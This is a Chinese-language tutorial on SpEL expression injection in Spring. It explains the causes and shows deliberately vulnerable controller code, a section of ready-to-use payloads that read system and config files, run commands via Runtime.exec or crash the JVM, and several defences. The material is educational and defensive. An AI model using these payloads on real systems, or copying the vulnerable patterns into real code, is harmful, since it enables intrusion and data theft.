SpEL 表达式注入漏洞

SpEL 表达式注入漏洞 完全解析(成因+案例+Payload+防御)

一、什么是 SpEL?

SpEL 全称 Spring Expression Language(Spring表达式语言),是 Spring 框架内置的强大表达式语言,支持在运行时动态解析和执行表达式,核心语法使用 ${}(属性占位符)和 #{}(表达式执行符),其中 #{} 是执行 SpEL 表达式的核心标识,也是漏洞的核心触发点

SpEL 能力极强,支持:访问类属性/方法、实例化对象、调用静态方法、操作集合、逻辑运算等,本身是安全的语法,漏洞是「使用不当」导致的

二、SpEL 表达式注入漏洞的【核心成因】✅(重中之重)

SpEL 注入漏洞产生的唯一根本原因

开发人员将 用户可控的外部输入(如:前端传参、URL参数、请求体、第三方接口返回值等)直接拼接到 SpEL 表达式字符串中,再交由 Spring 的 SpEL 解析器执行。

简单说:用户输入 → 直接拼接进 #{表达式} → 解析器执行,这个过程中用户输入的内容不再是「普通数据」,而是「可执行的 SpEL 语法」,最终导致恶意代码被执行。

三、SpEL 注入为什么「极度危险」?

SpEL 并非简单的表达式解析,它可以直接调用 JDK 原生类、执行 Java 代码,拥有和当前应用进程完全相同的权限,一旦触发注入,攻击者可以实现:

  1. 读取服务器任意文件(/etc/passwd、配置文件、敏感业务数据);
  2. 获取系统环境变量、服务器硬件信息、应用上下文信息;
  3. 执行任意系统命令(如:whoami、ls、rm -rf、反弹shell);
  4. 调用 Java 反射机制,加载恶意类,实现完整的远程代码执行(RCE);
  5. 篡改服务器文件、删除数据、植入后门;
  6. 提权渗透,控制整个服务器。

四、SpEL 解析的核心 API(漏洞触发的核心组件)

Spring 中解析执行 SpEL 表达式的核心类是:

  • org.springframework.expression.spel.standard.SpelExpressionParser:SpEL 表达式解析器
  • org.springframework.expression.EvaluationContext:表达式执行的上下文环境(默认用 StandardEvaluationContext
  • 核心执行方法:parser.parseExpression(表达式字符串).getValue(上下文)

所有 SpEL 注入漏洞,最终都是通过这几个核心 API 触发的,只要这几个API的入参是「用户可控的拼接字符串」,必然存在漏洞

五、漏洞代码案例(真实开发高频场景,共2类最典型)

✅ 案例1:原生 SpEL 解析器 拼接用户输入(最常见,纯代码层面)

这是最典型的漏洞写法,开发人员将用户输入直接拼接进 #{} 表达式中,无任何过滤,直接执行:

import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class SpelVulController {
    // 漏洞核心代码
    @GetMapping("/spel/test")
    public String spelVul(@RequestParam String userInput) {
        // 致命操作:用户输入 直接拼接到 SpEL 表达式字符串中
        String spelExpr = "#{" + userInput + "}";
        // 创建解析器并执行表达式
        SpelExpressionParser parser = new SpelExpressionParser();
        Object result = parser.parseExpression(spelExpr).getValue();
        return "执行结果:" + result;
    }
}

此时攻击者只需要在 userInput 参数中传入恶意 SpEL 语法,即可执行任意操作,比如访问 /spel/test?userInput=T(java.lang.Runtime).getRuntime().exec('whoami')

✅ 案例2:Spring @Value 注解的 SpEL 注入(配置/注解层面,隐蔽性高)

这是开发中极易踩坑的隐蔽漏洞场景@Value 注解是 Spring 中注入配置的核心注解,它原生支持解析 SpEL 表达式(#{语法})
如果 @Value 注入的内容不是「固定的配置文件值」,而是用户可控的动态值,则会触发注入:

import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Service;

@Service
public class SpelValueVulService {
    // 漏洞场景1:如果配置项的值是用户可控的(比如通过外部配置中心动态传入)
    @Value("#{${evil.config}}") 
    private String evilValue;

    // 漏洞场景2:更隐蔽 - 开发人员手动拼接用户输入到@Value的表达式中
    public void setUserConfig(String userConfig) {
        String spelExpr = "#{" + userConfig + "}";
        // 若通过反射/动态配置方式注入该表达式,直接触发漏洞
    }
}

注意:@Value("${xxx}")属性占位符,只会读取配置,不会执行表达式,无漏洞@Value("#{xxx}")表达式执行符,会解析执行 SpEL 语法,是漏洞触发点

六、经典高危 SpEL 注入 Payload(可直接使用)

以下是攻击者常用的恶意 SpEL 表达式,覆盖「信息泄露、命令执行、文件读取」等核心攻击场景,均可以直接在漏洞接口执行

✔️ 1. 基础信息探测(无危害,用于验证是否存在注入)

# 获取Java版本
#{T(java.lang.System).getProperty('java.version')}
# 获取服务器操作系统
#{T(java.lang.System).getProperty('os.name')}
# 获取系统环境变量
#{T(java.lang.System).getenv('PATH')}
# 获取当前应用工作目录
#{T(java.io.File).new('.').getAbsolutePath()}

✔️ 2. 读取服务器任意文件(高危,信息泄露)

# 读取Linux系统敏感文件 /etc/passwd
#{T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/etc/passwd'))}

# 读取Windows系统hosts文件
#{T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('C:/Windows/System32/drivers/etc/hosts'))}

# 读取应用配置文件(比如SpringBoot的application.yml)
#{T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('./application.yml'))}

✔️ 3. 执行任意系统命令(极高危,RCE 远程代码执行)

这是最核心的攻击 Payload,SpEL 调用 java.lang.Runtime 类执行系统命令,Linux/Windows 通用

# Linux 执行 whoami(查看当前进程用户)
#{T(java.lang.Runtime).getRuntime().exec('whoami')}

# Linux 执行 ls -l(查看当前目录文件)
#{T(java.lang.Runtime).getRuntime().exec('ls -l')}

# Windows 执行 calc.exe(打开计算器,验证漏洞)
#{T(java.lang.Runtime).getRuntime().exec('calc.exe')}

# Windows 执行 cmd /c ipconfig(查看网卡信息)
#{T(java.lang.Runtime).getRuntime().exec('cmd /c ipconfig')}

补充:如果执行命令无返回结果,可通过「将命令结果写入文件」的方式读取:exec('whoami > /tmp/result.txt'),再通过文件读取Payload读取结果。

✔️ 4. 调用静态方法执行高危操作

# 终止当前应用进程(服务崩溃)
#{T(java.lang.System).exit(0)}

# 获取当前应用的所有线程信息(用于进一步渗透)
#{T(java.lang.Thread).getAllStackTraces().keySet()}

七、【终极解决方案】SpEL 注入漏洞的防御方案 ✅✅✅(可落地,按优先级排序)

核心防御原则:从根源上切断「用户输入」与「SpEL表达式」的直接拼接

SpEL 注入的本质是「用户输入被当作表达式语法执行」,所以所有防御方案的核心都是:让用户输入永远只是「数据」,而不是「可执行的语法」,以下方案按「优先级/有效性」从高到低排序,组合使用效果最佳


✅ 方案一:使用 SpEL 「参数化表达式」+ 绑定变量(【最优解,根治漏洞】强烈推荐)

这是唯一能从根源上杜绝漏洞的方案,也是 Spring 官方推荐的安全写法,核心思想:

  1. 编写固定的、硬编码的 SpEL 表达式模板,表达式中用「占位符(如:#param)」表示需要传入的动态参数;
  2. 用户输入的动态值通过 EvaluationContext 绑定为「变量」,传入表达式中;
  3. 解析器执行时,会将占位符替换为「纯数据值」,用户输入的内容永远不会被当作 SpEL 语法解析执行

✅ 安全代码对比(修复案例1的漏洞代码)

import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.StandardEvaluationContext;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class SpelSafeController {
    @GetMapping("/spel/safe")
    public String spelSafe(@RequestParam String userInput) {
        SpelExpressionParser parser = new SpelExpressionParser();
        // 1. 固定的表达式模板,#input是「变量占位符」,不是用户输入的内容
        String safeSpelExpr = "#input"; 
        // 2. 创建上下文,绑定变量:将用户输入绑定为「input」变量,仅作为数据传入
        StandardEvaluationContext context = new StandardEvaluationContext();
        context.setVariable("input", userInput);
        // 3. 执行表达式:用户输入永远是纯数据,不会被解析为SpEL语法
        Object result = parser.parseExpression(safeSpelExpr).getValue(context);
        return "安全执行结果:" + result;
    }
}

此时即使用户传入恶意Payload:T(java.lang.Runtime).getRuntime().exec('whoami'),解析器也只会将其当作「普通字符串」返回,不会执行任何命令,彻底根治漏洞


✅ 方案二:严格限制 SpEL 表达式的「执行权限」(沙箱机制,兜底防护)

如果业务场景中必须拼接表达式(极少数情况),可以通过配置 EvaluationContext禁用 SpEL 的高危能力,实现「沙箱隔离」,即使有漏网之鱼,也能限制攻击者的操作范围,核心是禁用:

  1. 调用静态方法(T(类名) 语法);
  2. 实例化新对象(new 类名() 语法);
  3. 访问系统敏感类(java.lang.Runtimejava.nio.file.Files 等)。

✅ 安全代码:配置沙箱上下文,禁用高危操作

import org.springframework.expression.spel.SpelCompilerMode;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.SimpleEvaluationContext;

public class SpelSandbox {
    public static void safeParse(String spelExpr) {
        // 方式1:使用 SimpleEvaluationContext(推荐,轻量级沙箱)
        // 仅支持:属性访问、简单表达式运算,禁用静态方法、对象实例化、反射等所有高危操作
        SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
        
        SpelExpressionParser parser = new SpelExpressionParser(SpelCompilerMode.OFF);
        Object result = parser.parseExpression(spelExpr).getValue(context);
    }
}

关键说明:SimpleEvaluationContext 是 Spring 专门为「安全场景」设计的轻量级上下文,默认禁用所有高危能力,仅保留基础的表达式运算,是沙箱防护的最优选择;而 StandardEvaluationContext 是全功能上下文,默认无限制,需要手动配置权限。


✅ 方案三:对用户输入做「严格的白名单校验」(兜底手段,不可单独依赖)

对所有传入的用户输入,执行白名单过滤(不是黑名单!),只允许「合法的字符/内容」通过,拒绝所有非法输入。

  • ❌ 禁止使用「黑名单过滤」:SpEL 语法极其灵活,攻击者可以通过各种变形绕过黑名单(比如:大小写混淆、反射调用、类别名等),黑名单完全无效;
  • ✅ 推荐「白名单过滤」:根据业务场景,只允许指定的字符,比如:字母、数字、下划线、短横线等,其他字符直接拒绝。

✅ 示例:白名单校验工具方法

public class InputValidator {
    // 仅允许字母、数字、下划线、短横线,其他字符直接返回非法
    public static boolean isValidInput(String input) {
        if (input == null || input.isEmpty()) {
            return true;
        }
        return input.matches("^[a-zA-Z0-9_-]+$");
    }
}

注意:该方案仅作为兜底,不能单独依赖,必须配合前两种方案使用,因为业务场景可能无法限制输入内容,此时白名单就失效了。


✅ 方案四:禁用敏感场景的 SpEL 解析(业务层面防护)

  1. **谨慎使用 @Value 注解的 #{表达式}**:@Value 尽量只用于注入「配置文件的固定值」(如:@Value("${server.port}")),不要注入任何用户可控的动态值;
  2. 避免在对外接口中使用 SpEL 解析:如果业务不需要动态解析表达式,直接移除 SpEL 解析器的使用,改用硬编码逻辑,从源头避免漏洞;
  3. 过滤请求中的 #{ 和 } 字符:在网关/过滤器层面,对所有请求参数、请求体中的 #{} 进行转义(如:替换为 #{{}}),让其失去表达式执行能力。

八、补充:关键注意事项

1. SpEL 注入 ≠ OGNL 注入

两者都是「表达式注入漏洞」,但本质不同:

  • SpEL:Spring 框架专属,语法是 #{},核心解析器是 SpelExpressionParser
  • OGNL:Struts2 框架专属,语法是 %{},核心解析器是 OgnlValueStack
    共同点:漏洞成因都是「用户输入直接拼接进表达式」,防御方案都是「参数化传入+沙箱防护」。

2. SpEL 本身是安全的

再次强调:SpEL 语法和解析器本身没有漏洞,漏洞是开发人员「使用不当」导致的,Spring 官方也一直在修复 SpEL 的潜在风险,只要按安全写法使用,完全可以避免漏洞。

九、总结(核心知识点速记)

  1. SpEL注入核心成因:用户可控输入 直接拼接 进 SpEL 表达式字符串,被解析器执行;
  2. 核心触发标识#{} 是 SpEL 表达式执行符,是漏洞的核心触发点;
  3. 漏洞危害等级:极高危,可直接实现 RCE 远程代码执行,控制服务器;
  4. 最优防御方案:使用「参数化表达式+绑定变量」,让用户输入永远是纯数据,不参与表达式解析;
  5. 兜底防护方案:沙箱机制(SimpleEvaluationContext)+ 白名单输入校验;
  6. 关键禁忌:永远不要相信用户输入,永远不要直接拼接用户输入到表达式中。

希望这篇解析能帮你彻底理解 SpEL 注入漏洞,从根源上避免踩坑!💻✅